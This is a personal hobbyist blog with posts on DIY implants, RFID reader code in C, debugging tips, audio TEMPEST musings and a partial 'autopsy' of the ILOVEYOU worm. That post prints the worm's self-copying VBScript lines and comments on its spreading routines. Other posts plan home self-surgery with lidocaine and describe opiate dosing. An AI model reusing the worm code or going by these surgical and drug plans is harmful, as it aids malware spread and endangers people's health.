Showing posts with label programming. Show all posts
Showing posts with label programming. Show all posts

20.5.10

haptic compass: hardware

i've just recieved a rather large amount of money at an award ceremony, and i know what i'm going to spend it on. food, schmood, because i think i have some better ideas for the control of the haptic compass than using my colleagues' original circuitry, which is rather large.

enter the very tiny MSP430, a little microcontroller i think would do a better job. all i would have to do would be:

- figure out a way to attach the little compass module to the MSP430
- get some fucking neuroelectrodes and attach them to its outputs (jesus christ, but it's hard to get hold of those things)
- bioproof the bundle thereby created (not hard, since all it takes is a hot glue gun)
- stop! scalpel time.

of course, i would also have to program the MSP. i'll need to ask the Noisebridge guys, but i think the logic would go something like this:

while (poweron)
get north direction from compass module;
cast to a degree out of 360;
figure out which electrode's "domain" that number falls into;
activate that electrode;


i'm pretty sure the way to go is to have each electrode responsible for a segment of the compass circle, i.e. 0-45 degrees activates electrode no.1, 45-90 activates no.2, etc. if all went to plan following this design, it'd mean zero transdermal components - the whole thing would be subdermal, which is far easier to keep sterile and far more likely to heal, plus naturally waterproof. it would be a big, big cavity to carve out though; i might need some real anaesthesia.

still, sounds like fun, right guys?

L

2.12.09

a drugged haiku

i don't half write shit when i'm out of it. here's the latest mildly amusing mental spitbubble:

Kernel symbol broke
In the System.map file:
Fucking compiler.
i need to get out more.

peace, love and Tramadol

L

2.10.09

Northpaw, evil scheme mk.1

so i'm in my third academic year at University now, doing a Bsc Hons in Computing Science. understandably, it gets pretty hard - i'm chewing bitwise C operators right now, and to my shame i still don't exactly understand bitshifts - but it's awesome, in the same way that my work on the NBX Project is awesome.

that is, it's sort of above my capacity, which makes it fun along the lines of a dodgy rollercoaster: "Get off there! You might die!" "FUCK YEAH I KNOW!".

speaking of self-endangering behaviours, i should be getting my Northpaw kit sometime soon, and being the idiot that i am, i'm not content just to wear the sucker. i'm going to do my illevel-headed best to work on an implanted version.

some issues i can think of with this:
- power. it might need a gyro rather than a battery pack, or i could leave it transdermal.
- isolation. i need the buzzer electronics isolated, shock-speaking, from my Weak Against Shock flesh. you can do this with silicon, i'm just not sure where to get access to it.
- waterproofing. cause i like being able to take a shower (not that i wouldn't put up with sponge baths for a while if it meant more mods.)

my God, i really do have problems, don't i?

in other brainhacking news, i've lost track of how long i've been clean for (so more than two weeks, since my sense of time is absolute shite), but it looks like i was wrong about the extent of the dain bramage: slowly i've been getting my ability to detect temperature back. unfortunately, i live in fucking Scotland, and it turns out my room is really, really fucking cold. i had to pull Muad-Dib out of bed by his ankles this morning.

also i have a lot of Mana, since i won my textbook money for this year by writing essays for Epic Prize Money this year. that link takes you to the SugarCopter site at Kustom PCs, which ships from Scotland, so no need to import it from ThinkGeek anymore.

last, it looks like my revenge-driven ex has forgotten about his plans to Beat Lepht's Evil Schemes, which is good, because my evil schemes mostly involve buying candy with my government loans and pestering senior department staff with stupid questions.

peace, love and tramadol. -L


PS. ink win: the giant rook over my back and torso is now finished, and i have a H+ tattoo on my left shoulder above the other one, to boot. nerd win.

15.10.08

spiders on drugs

naw, i'm not showing that video again. it's storytime with Uncle Lepht.

i'm in the guided labs this morning, listening to Stromkern and keeping myself to myself, when the demonstrator - the grad student who gets lumped in with us and has to answer questions like, Breakpoints? Why would I want it to break? and Why's it doing that? - pounces on me.

"Lepht," he says (i'm translating), "what are you doing here?"

after i've gone "Whut? Huh? Whut?" over the music three or four times like some senile old professor with a malfunctioning hearing aid and finally turned the brick* off, i point out that i'm repeating this year of my undergrad degree. medical certificate, yo. demonstrator wonders why i'm not reusing last year's code, seeing as how the guided lab work's only updated every major Java version, if that. (* i mean, vintage Zen Touch.)

"It's shite code," i tell him. it is and all. last year i was too out of it to bother refactoring everything i write into something small and elegant, so it all just went into the compiler as i thought it up, and i don't think so neat'n'tidy.

"Oh," he goes. "That explains it. You know what it reminded me of?" i don't. "You know that old experiment where they put spiders on drugs, the ecstasy spider?"

yeah.

L

5.4.08

RFID and implant tutorial

lets you be just as stupid and self-destructive as i am. may even get you referred to a shrink.

ODT:
http://stashbox.org/v/99392/rfid-tut.odt

PDF:
http://stashbox.org/v/99393/rfid-tut.pdf

the implant part is optional, so you could just use this to learn some beginner stuff about RFID and improve your knowledge of the EM4102 protocol... do whichever.

L

2.4.08

implants can't be addictive, right?

right?

so we all know i'm screwed when it comes to those things, and i only plan to get more so. so far the implant project is a massive, awesome pile of success: my original tag is cutely readable by a little C program i mutated out of some examples that came with the reader (cause i'm not actually as smart as people think i am), and i'm now working on a way to use AES or RSA (or something weird like the KHAZAD cipher i was considering before) to encrypt the tag data i'm currently storing within the program as escaped ASCII characters, and externally as hex literals, into something a little less snarfable. screenshots will be up as soon as i can get a metadata stripper for them...

i'm also not doing any University work, and i keep forgetting to eat.

second, i still want a Hitag read-writable tag. if anyone knows where a poor government-handout-dependent wetware hacker can get one, let me know; i could have some serious fun with one of those little fuckers.

and third, i'm currently researching the feasibility of an implantable temperature sensor with an external LCD gauge or some other surface-mounted display. (it's because i can't feel hot and cold properly anymore. that and it'd be awesome.) some ideas:

1. it's gonna be the messiest operation yet, needing at least four incisions as far as i can see, if i fix the display to the surface of my skin. you could do that quite easily with subcutaneous "planks" - little flat bits of polymer that extend for a way under the skin, porous so that flesh grows back into them. it'd be a total bitch to remove, but why would i do that?

2. i wanted to site it on the back of my wrist. according to Gray's, i've got two deep veins, two deep arteries, four important nerves of the hand and a hideously complicated little web of surface vessels to look out for, all of which i'm fucked if i hit (well, nerves and arteries at least, not to mention tendons.) i might want another site, but i can't think of an easy way to look at the display anywhere else.

3. i'm gonna need a whooole lot more equipment than i have right now. for a start, it's looking like my little scalpels aren't gonna cut it with nondelicate parts of my anatomy or big incisions: cutting with them is painfully slow, and with three or four cuts to make, i can't afford to be slow, so i'm gonna want:
- Lidocaine and some syringes (and probably some smaller hypos, mine are fucking huge)
- most likely a suture kit, it being less messy and more likely to take that way
- more steristrips
- Betadine

also more parts: a soft tube-embedded fluid temperature probe (Eltek is like a candy store that way), a tiny CPU of some sort (that's gonna be a huge challenge) and a display as small as i can get it, plus a way to integrate them all.

4. there's wireless temperature tags out there, but no ampoule types, so i might try and create one by myself just as POC if they'll let me into the University electronics labs (not likely; they know what i want in there for).

y'all know by the time i'm fifty i'm gonna be the goddamn Borg; that or i'm gonna have killed myself doing something retarded with a bonesaw and a C-LEG. peace out, meatbags.

L

3.3.08

tag recognition program, rudimentary draft

/* rfid-mod
* simplistic rfid recog program heavily based on Phidgets Inc's RFID-simple
* version: 0.1b
* author: Lepht Anonym */


#include
#include

/* attachHandler
* displays status to the terminal */
int attachHandler(CPhidgetHandle reader, void *userPointer)
{
int serial;
const char *name;

CPhidget_getDeviceName (reader, &name);
CPhidget_getSerialNumber(reader, &serial);
printf("%s %10d attached.\n", name, serial);

return 0;
}

/* detachHandler
* displays status to the terminal */
int detachHandler(CPhidgetHandle reader, void *userPointer)
{
int serial;
const char *name;

CPhidget_getDeviceName (reader, &name);
CPhidget_getSerialNumber(reader, &serial);
printf("%s %10d detached.\n", name, serial);

return 0;
}

/* errorHandler
* prints errors to the terminal */
int errorHandler(CPhidgetHandle reader, void *userPointer, int errorCode, const char *unknown)
{
printf("error handled: %i - %s\n", errorCode, unknown);
return 0;
}

/* tagHandler
* turns on the LED port and prints the ID of the tag
* later, it will store the read tag in a local var so it can be verified as either matching L's or not
* pls note this is not a secure thing to do as the tag value could be strings'd out of the program (should hash'n'md5 instead) */
int tagHandler(CPhidgetRFIDHandle reader, void *userPointer, unsigned char *tag)
{
int i;
CPhidgetRFID_setLEDOn(reader, 1);
printf("got tag: ");
for(i = 0 ; i < 5 ; i++) printf("%02x ", (*(tag+i))&0xff);
printf("\n");
return 0;
}

/* tagLostHandler
* turns off the LED port and prints the ID of the lost tag to the terminal */
int tagLostHandler(CPhidgetRFIDHandle reader, void *userPointer, unsigned char *tag)
{
int i;
int var[5];
CPhidgetRFID_setLEDOn(reader, 0);
printf("tag lost: ", tag);
for(i = 0 ; i < 5 ; i++) printf("%02x ", (*(tag+i))&0xff);
// store that same data as a variable:
for(i = 0; i < 5; i++) { var[i] = (*(tag+i)&0xff); }
// TODO check that the separate parts of the var array match L's implant
printf("\n");
return 0;
}

/* displayProperties
* displays the data about a physical reader to the terminal */
void displayProperties(CPhidgetRFIDHandle reader)
{
// declare variables for the data and a buffer to store device type in:
int serial, version, outputs, antennaStatus;
const char* type;

// get data from the device:
CPhidget_getDeviceType((CPhidgetHandle)reader, &type);
CPhidget_getSerialNumber((CPhidgetHandle)reader, &serial);
CPhidget_getDeviceVersion((CPhidgetHandle)reader, &version);
CPhidgetRFID_getNumOutputs(reader, &outputs);
CPhidgetRFID_getAntennaOn(reader, &antennaStatus);

// print to the terminal:
printf("%s\n", type);
printf("serial number: %10d\nversion: %8d\n", serial, version);
printf("number of digital outputs: %d\n\n", outputs);
printf("antenna status: %d\n", antennaStatus);
}

/* main
* administrates */
int main(int argc, char* argv[])
{
const char *error;
int result;

// declare and create a handle for the reader:
CPhidgetRFIDHandle reader = 0;
CPhidgetRFID_create(&reader);

// set handlers for device and tag events:
CPhidget_set_OnAttach_Handler((CPhidgetHandle)reader, attachHandler, NULL);
CPhidget_set_OnDetach_Handler((CPhidgetHandle)reader, detachHandler, NULL);
CPhidget_set_OnError_Handler((CPhidgetHandle)reader, errorHandler, NULL);
CPhidgetRFID_set_OnTag_Handler(reader, tagHandler, NULL);
CPhidgetRFID_set_OnTagLost_Handler(reader, tagLostHandler, NULL);

// open device:
CPhidget_open((CPhidgetHandle)reader, -1);

// wait for the physical RFID reader device to be attached:
printf("polling for physical device presence...");
if((result = CPhidget_waitForAttachment((CPhidgetHandle)reader, 10000)))
{
CPhidget_getErrorDescription(result, &error);
printf("device error: %s\n", error);
return 1;
}

// activate the antenna and display properties to the terminal:
CPhidgetRFID_setAntennaOn(reader, 1);
displayProperties(reader);

// keep the program open until the user is done:
printf("now scanning for tags.\nhit any key and enter to end session.\n");
getchar();

// close the device and free the memory back up:
printf("closing...\n");
CPhidget_close((CPhidgetHandle)reader);
CPhidget_delete((CPhidgetHandle)reader);
return 0;
}

27.2.08

boku wa user ga hanasemasen

man, i now know what the word overload truly means. i'm trying to make a C program display tag output correctly, prototype a game-selling system interface, build (and understand) analogue sensors for my team's stupid-ass Lego robot, figure out how many photons per second are given off by a fucking 200W lightbulb (undergraduate quantum physics course), do laundry, read Anderson's seminal security engineering text, fix my damn Atheros card and calculate a dosage of dihydrocodeine that results in neither me bitchslapping my robotics team because the pain is pissing me off nor passing out in the corridors and getting groped and/or looted by the unscrupulous. it's a riot, sure, i'm as wired as i've ever been without the use of schmethamphetamines (fuck you, Google spider), but without stimulants, i just fucking collapse.

so instead of actually working, i'd like to point y'all to LSO's challenge server, challenge.learnsecurityonline.com. that's why i'm still up at 3:30: it feels so good to get root, you'll forgo sleep.

which leads me to my actual point: techheads are always percieved as being isolated from "real life" (i'm not gonna go into the semantic idiocy of that phrase right now), but up until now i've seen that as a kind of stupid myth. this last month or so has really changed my mind.

starting up, people's reactions to the kind of shit that doesn't even get a shrug from a hacker. the chip in my hand inspires about 1 "hey that's cool" or "you could use that for X random application" for every 99 "oh my god that's so fucking gross get that the fuck out of your body you fucking headcase". i've been seeing weird discrepancies in how tech people react to the world compared to the machine-illiterate, too: walking into a classroom with two unlabelled doors, i say to the guy next to me, "you know, that's really bad interface design", and then realise that's a fucking stupid thing to think. likewise, i keep trying to hit Ctrl-C Ctrl-V when faced with having to copy out bits of meatspace paper, and forgetting not to use the word meatspace when that's where i am, and i know there are guys out there way worse than me.

the problem is, that doesn't only isolate you from students, it gives tech itself a bad image. it also makes it virtually impossible to interact with endusers and clients meaningfully - you write in your docs, "bitsetq -a -f -x -q" and your users look at you and go, "hay lepht wtf is terminal anyways?" equally, students who listen to you won't ask questions if they hear one huge pile of jargon and unfamiliar concepts, they just give up. i'm gonna have to learn to act like a normal human being if i wanna deal with these people, and that's a huge part of what my job involves.

i think i've been in denial about that, trying to convince myself i think the same way as a social scientist or a historian, and it's seeming more and more like i was bullshitting myself. i guess we all gotta learn to speak user; seems to me like otherwise, users won't speak to us.

L

16.12.07

debugger != exterminator

over the years i've learnt the hard way that it's not possible to go through opiate withdrawal and debug Java at the same time. (trust me on this one.) interestingly, i've been seeing quite a few students who can't use a debugger at all - even the shockingly intuitive NetBeans onboard one - and i gotta admit, when you first see it, you're gonna be weirded out if you're not a programmer.

of course, having coded in hospital, on sedatives, with cannulae in both arms, for a good few weeks of my programming lifetime so far, i got a fair amount of sympathy for the kiddies i see trying to wade through their 5000+ lines of Java one by one, trying to find "the bit that won't work". and being the friendly campus opiate addict that i am, i decided to shoulder-surf my way around the lab for a while last week instead of doing my own work, in the hopes of finding out what they were commonly fucking up.

before i get going, don't get no wrong ideas here. i have no problem with people fucking up - i do it myself all the time, and as it's often been stressed over at Coding Horror, everybody fucks up. with that in mind, i found out they were pretty much all doing the same thing.

nobody was debugging their half-finished code. nobody had written either JUnit tests, or little test classes with souts to the console (System.out.println, that is); the main route seemed to be

1. write (usually quite good) code for the entire program
2. run
3. notice bugs, attempt to debug whole program (5+ classes) at once
4. realise sheer monstrosity of task, give up, go for milkshake.
obviously, this isn't exactly the most efficient way to be doing your shit. it's stressful, and more's the problem, it's a total waste of your precious lab hours. it's actually simple to avoid: you just have to run the program after every method, or group of interdependent methods.

that means, your cycle is code method, compile, test, debug, code method. if you gotta write biddy little classes to test your functions, go for it. the time you'll spend writing those is nothing compared to the stress you'd experience trying to work out all the bugs in a program when nothing's been tested, nothing is guaranteed to work and anything could be the problem.

that is, a debugger isn't an exterminator. it's not a flamethrower for removing a huge infestation of glitches, it's a pinpoint laser for picking them off one by one as they arrive; you just gotta keep looking for them, as you go, constantly.

L
(taking out kitchen roaches with a DVD-burning laser)

14.9.07

virus autopsy: ILOVEYOU, pt.2

*click* returning to the autopsy of the ILOVEYOU virus. time is 2340, at the last session we saw the subject's mechanisms for stopping timeouts, allowing itself to remain active indefinitely. it's time to look at some more. forceps!

025 ' Create 3 copies of the script in Windows, system and in the temporary folders
026 set dirwin = fso.GetSpecialFolder(0)
027 set dirsystem = fso.GetSpecialFolder(1)
028 set dirtemp = fso.GetSpecialFolder(2)
029 set c = fso.getFile(WScript.ScriptFullName)
030 c.Copy(dirsystem&"\MSKernel32.vbs")
031 c.Copy(dirWin&"\Win32DLL.vbs")
032 c.Copy(dirtemp&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
033
ah, how very devious! how marvellously malicious... or perhaps not. (note the inelegant coding, once again.) what it's doing here is using the fso object it created earlier to copy itself to three locations: the root of the Windows directory, that of the temp directory, and that of the System directory. these are generally the first three locations modern AV ware will scan, because they're obvious choices. let's see what it wants to do next. scalpel!
034 ' Adjust Internet Explorer's standard starting page to one of the 4 URLs, in order to download data that you will be able to launch
035 'download. If this data has already been downloaded it will automatically be started next time Windows is booted
036 'and the start page of Internet Explorer is reset to a blank page.
037 regruns()
038 'create an HTML that launches the component ActiveX as well as one of the copies of the script
039 html()
040 ' Send the copy of the script to all entries in the Outlook address book
041 spreadtoemail()
042 'overwrite specific data using the script
043 'if the data are not yet scripts, script data with the same name as the data are created
044 'with the ending .vbs
045 'delete the original data
046 'a script that automatically sends the Email worm to all persons in the IRC channel is attached to Mirc
047 listadriv()
048 end sub
hm. here we see it calling four subroutines, regruns(), html(), spreadtoemail(), and listadriv(), and quitting. next time we'll be looking at the regruns() process, its first port of call. shove it back in the freezer, nurse. time is 0011. *click*

19.7.07

a message from the User!

more correspondence on audio, this time from the man, James Atkinson of the Granite Island Group. i'm actually quite impressed that he replied to me in the first place, seeing as in this sphere, i'm kind of scum. a peasant of the white-hat world, if you will.


It is properly called "audio correlation" where a known audio signal (pressure waves) are induced into an area, and then those same signals are measured both as a physical movement elsewhere, or matching electrical response is sought..


it's a little over my head, seeing as Atkinson is officially trained in TEMPEST, and i'm a dabbler, but i think this might mean you could use the audio signals as a means to verify an image of your target's monitor you obtained via other ways. i've asked him for clarification, and meanwhile, yours truly has about half an experiment proposal finished...

and now, on to today's a la carte special: crispy fried bitch with extra cheese. roquefort, no less.

it is known otherwise as "For fuck's sake, it's spelled 'ATHEIST'."


Lepht
(baby-eating "athiest fundamentalist")

18.7.07

what time is it?

my fellow geeks of the Interweb: we may have some serious experimental fun on our hands, the kind that were i twelve years old i should spell "phun". i've recieved a reply from the admin of cryptome.org, who i won't name out of respect:


You're on the right track. Audial leakage of surveillance equipment is
used by counter-surveillance experts to pick up inadvertent signals.
Audial emanations of other electronic equipment are certainly
likely but I've not seen a study of it.
[...]
Let me know what you come up with, we've not published anything
on audial TEMPEST.


what time is it? it's EXPERIMENTATION TIME.

Lepht

17.7.07

audial TEMPEST

sit down at any lab PC or perhaps at your home machine, jack in your headphones and reboot. during the boot sequence, and under various OS, during periods of high system activity, you'll hear strange low-volume audial chatter - i'm pretty sure it's been abused by woos to make "electronic voice phenomena", in fact.

i got a different hypothesis about this chatter. i think it's a form of data leakage; like a Category III-risk optical TEMPEST indicator - a HDD status LED or the indicator LED on some routers and broadband modems - it seems to correspond to the data passing through the device. on a PC, you hear what seem to be unique patterns of chatter during application startups, writes to and reads from the HDD, and when joining or acceding from a network.

this is to my curiosity what liquid oxygen is to a barbecue. i have got to find out whether data from my networks is leaking out the sound card as well as out the emissions of the components, the old-school cathode-ray monitors and half the LEDs on everything.

therefore, i have a new research project. i'll be back with all the existing research i can find on the subject ASAP. you guys are in for an ethically awesome, fact-finding, data-jacking, network-sniffing, audially-challenging goddamn adventure!

my Zero Cool-emulating childhood self would be really impressed with this.


Lepht

26.6.07

the saga of the mouth-breathers

or, why must you morons deny your IQ? this is a soapbox of mine, so bear with me.

i'm always bitching about something or other on campus. it's really not as huge of a disadvantage as it might sound like sometimes - for a start, i have free net access, and access to all the labs and equipment i could want is coming my way soon. it's safe, too.

its biggest disadvantage is the mouth-breathers who've somehow shoved their way onto the science courses here. my classes are full of them; you can actually sit in the back of something like elementary stats (for people like me who don't have any formal maths qualifications beyond age 16) and watch them not understanding it. they don't get functions. they don't get tangents. they don't get the Gauss distribution, for fuck's sake, they don't even know what a fucking distribution is, and yet they're still here, so they must be able to do at least something.

if you're thinking there's more to this, you'd be right.

it isn't limited to stats and maths, either. they're all over the fucking place, asking your ML tutors what a verb is again, demanding that the demonstrators in the guided Java labs give them "the answer", refusing to understand what a variable is. i've taken to sitting right at the back of logic lectures purely because these idiots sit at the front, collectively not getting it and adding to the emanated cloud of their stupidity by whispering to each other that this is all "just too hard".

so why are these tards still here? and why do i talk about them with this much vitriol?

because they've all passed. that stupidity is fake. for a start, the tests are easy in the first place, and you only need eight marks of 20 to pass most of them. for another thing, these people are not inherently knuckle-dragging, cheerleading tards. i don't flatter myself by thinking that this is the best they can do; they're university students, for fuck's sake. (you've got minds, haven't you?)

of course they have. this is my question. is it that i'm just not seeing something here, and they're actually expending all their effort on something else, meaning that these low barriers are necessary because CompSci classes are their chance to kick back and act dumb? (sure doesn't fucking look like it.) or is it that the low barriers are just not pushing them, to the extent that they don't even bother trying when they don't need to? is that why they act like this, just out of laziness?

i'm not an egotist. i don't honestly think they're that stupid; i know they could do anything i can do - same brain capacity, same structure, same human intelligence. we're all human, even if our abilities aren't precisely the same, and half are explicitly training to be computer scientists.

so why, why, don't these fucking morons use their brains? why spend more time reading Playboy than actually doing something worthwhile? why join in with this dumbfuck, hairspray-and-lipstick, football culture instead of realising what an adaptive, smart human being you are and using that intelligence to your advantage? in short, why deny your IQ?

i just don't get it.


Lepht
(whose isolation from reality is, perhaps, affecting its mood and opinions just slightly; otherwise it is very sedated, and thus fine)

25.6.07

don't fear the NetBeans

as progress reports go, this is a short one: i'm doin' OK, i think. because i'm usually sedated before i go to sleep, i've managed to temporarily wrangle it so that i'm awake when there's more people in the lab, meaning that yesterday someone was kind enough to pick me up when i passed out. 's good to see some people giving a crap; i'd like to think i'd do the same thing in their shoes.

so today i bring you some of the quirks of my newly-adopted Java IDE. in the course of my formal programming education, which isn't anything more than larval-stage, so far i and my impressively inexperienced compatriots have been taught Java (the Lego bricks of programming) using BlueJ, a limited teaching IDE that fits into that analogy as the brightly-painted table with all those cool slots for your Legos. functional, yes; easy-to-use, yes; advanced, hell no.

we'll move on, of course, to NB in time, which is why i'm screwing around with it now just to get a decent working knowledge. luckily for me, it's highly advanced, professional and one helluva complex programming tool. seriously, this baby can do anything. and with Java of all things... i think i'm gonna have to stop denigrating this language; my previous impressions of it were pretty much based on the limited work i'd been able to do with a text editor (believe me, it's fucking hard trying to code a proper GUI with just emacs.)

so this is what i've learned so far:

1. directory path starting with server designation = NB DOES NOT WANT. bad things happen if you try //serv paths anywhere in NB. this i know.

2. in the GUI builder (which i really, really wish i'd had access to three years earlier) some shit doesn't pop up the right size, making windows look like little retarded boxes'o'nothin; just resize, the properties are there... =]

3. it's difficult to make things be the same size in the builder sometimes. sometimes you're meant to use Same Size, others Default Size, and i still haven't figured out which is which.

4. the syntax for the main class name when creating new projects is actually packagename.MainClassName, which took me a stupidly long time to figure out. it would help if it was in the damn docs.

and that's all. end shameless plug.

Lepht

20.6.07

the turing tarpits

i am not a normally-sleeping human, luckily. tonight the blinds of the lab windows are open, leaving me a view composed of two huge panels of glass; outside, the city is grey and closed, the orange streetlights lighting the streets with umber and making the blue sky fade down to a luminescent violet. i'm the only one here, and i'll never understand why; it's magnificent.

i just got a simple bit of awesomeness today: the Turing tarpit. this is any machine, language or device which is Turing complete (it can perform any logical operation) and yet is considered useless for practical computing.

"54. Beware of the Turing tar-pit in which everything is possible but nothing of interest is easy." --Alan Perlis, "Epigrams on Programming"

take, for example, the Brainfuck language. it's aptly named - i can't program in BF for shit, and i'm meant to be alright with code. here's the Hello World program in Brainfuck, stolen off Wikipedia because i refuse to compose any more BF code ever ever ever:

++++++++++
[>+++++++>++++++++++>+++>+<<<<- br="">>++.
>+.
+++++++.
.
+++.
>++.
<<+++++++++++++++.
>.
+++.
------.
--------.
>+.
>.


ouch. you should also go take a look at the shenanigans we gotta go through to divide things in this nasty-ass language, and that's in the standard dialect, with newlines - yeah, it has dialects, and it doesn't need to be set out like that. and no way to see the state of the program. and text-only compilers. you see why Brainfuck is a Turing tarpit? and why this is cool?

as a leaving note, the sky goes a simple uniform lilac just before dawn here. i have one of the best lives in the world, and i know it.

Lepht